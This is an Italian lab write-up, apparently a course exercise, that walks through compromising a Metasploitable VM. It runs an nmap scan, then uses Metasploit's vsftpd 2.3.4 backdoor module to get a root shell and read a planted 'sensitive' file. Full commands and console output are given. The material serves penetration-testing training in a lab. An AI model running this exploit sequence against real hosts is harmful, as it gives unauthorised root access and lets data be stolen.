

W15D4 MSFCONSOLE

1 Settiamo l'ip della metasploitable

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:5f:8f:56
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe5f:8f56/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:17003 errors:0 dropped:0 overruns:0 frame:0
          TX packets:10246 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1156140 (1.1 MB)  TX bytes:570069 (556.7 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:139 errors:0 dropped:0 overruns:0 frame:0
          TX packets:139 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:42153 (41.1 KB)  TX bytes:42153 (41.1 KB)

msfadmin@metasploitable:~$ _
```

2 eseguiamo una NMAP per scoprire le porte attive e i servizi ad esse correlati

```
(root@kali)-[/home/kali/Desktop]
# nmap -sS -sV 192.168.1.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-30 11:28 EDT
Nmap scan report for kali.station (192.168.1.149)
Host is up (0.0084s latency).
Not shown: 977 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn?
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login?
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  rpcbind
2121/tcp  open  ccproxy-ftp?
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
```

3 creazione nuova cartella nella directory root (/) su metasploitable

```
root@metasploitable:~# pwd
/
root@metasploitable:~# mkdir test_metasploit
root@metasploitable:~# ls
bin      dev      initrd   lost+found  nohup.out  root    sys      usr
boot    etc      initrd.img  media      opt        sbin    test_metasploit  var
cdrom   home    lib      mnt        proc       srv     tmp          vmlinuz
root@metasploitable:~# _
```

4 creazione di un possibile file con dati sensibili nella cartella test_metasploit

```
meta 2 [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help
root@metasploitable:~/test_metasploit# ls
rubami.txt
root@metasploitable:~/test_metasploit# _
```

5 attivazione MSFCONSOLE

```
#####
##### / _ \ / _ \ / _ \ / _ \ / _ \ / _ \ / _ \ #####
#####
#####
# WAVE 5 ##### SCORE 31337 ##### HIGH FFFFFFFF #
#####
https://metasploit.com

=[ metasploit v6.4.5-dev ]
+ -- --[ 2413 exploits - 1242 auxiliary - 423 post ]
+ -- --[ 1468 payloads - 47 encoders - 11 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > |
```

6 cerchiamo l'exploit piu adatto per il servizio vsftpd

```
msf6 > search vsftpd

Matching Modules
=====
# Name Disclosure Date Rank Check Descripti
on
- - - - -
--
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.
3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2
.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ft
p/vsftpd_234_backdoor

msf6 > |
```

7 Selezioniamo l'exploit piu adatto

```
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

8 Visualizziamo le opzioni dell' exploit

```
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	21	yes	The target port (TCP)

Exploit target:

Id	Name
--	---
0	Automatic

9 settiamo l'RHOSTS della macchina da "attaccare"

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > 
```

10 Tutte le opzioni sono settate correttamente

```
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	192.168.1.149	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	21	yes	The target port (TCP)

Exploit target:

Id	Name
--	---
0	Automatic

11 l'anciamo l'exploit...SIAMO DENTRO !

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.0.2.15:34997 → 192.168.1.149:6200) at 2024-08-30
11:42:22 -0400
```

12 ifconfig della macchina target

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:5f:8f:56
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe5f:8f56/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:17108 errors:0 dropped:0 overruns:0 frame:0
          TX packets:10351 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1164732 (1.1 MB)  TX bytes:581306 (567.6 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:185 errors:0 dropped:0 overruns:0 frame:0
          TX packets:185 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:64821 (63.3 KB)  TX bytes:64821 (63.3 KB)
```

13 Si vede la cartella precedentemente creata nella directory root
test_metasploit

```
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

14 file con dati sensibili trovato

```
ls  
rubami.txt  
cat rubami.txt  
Mi hai arrubbatttoooooooo !!!!  
█
```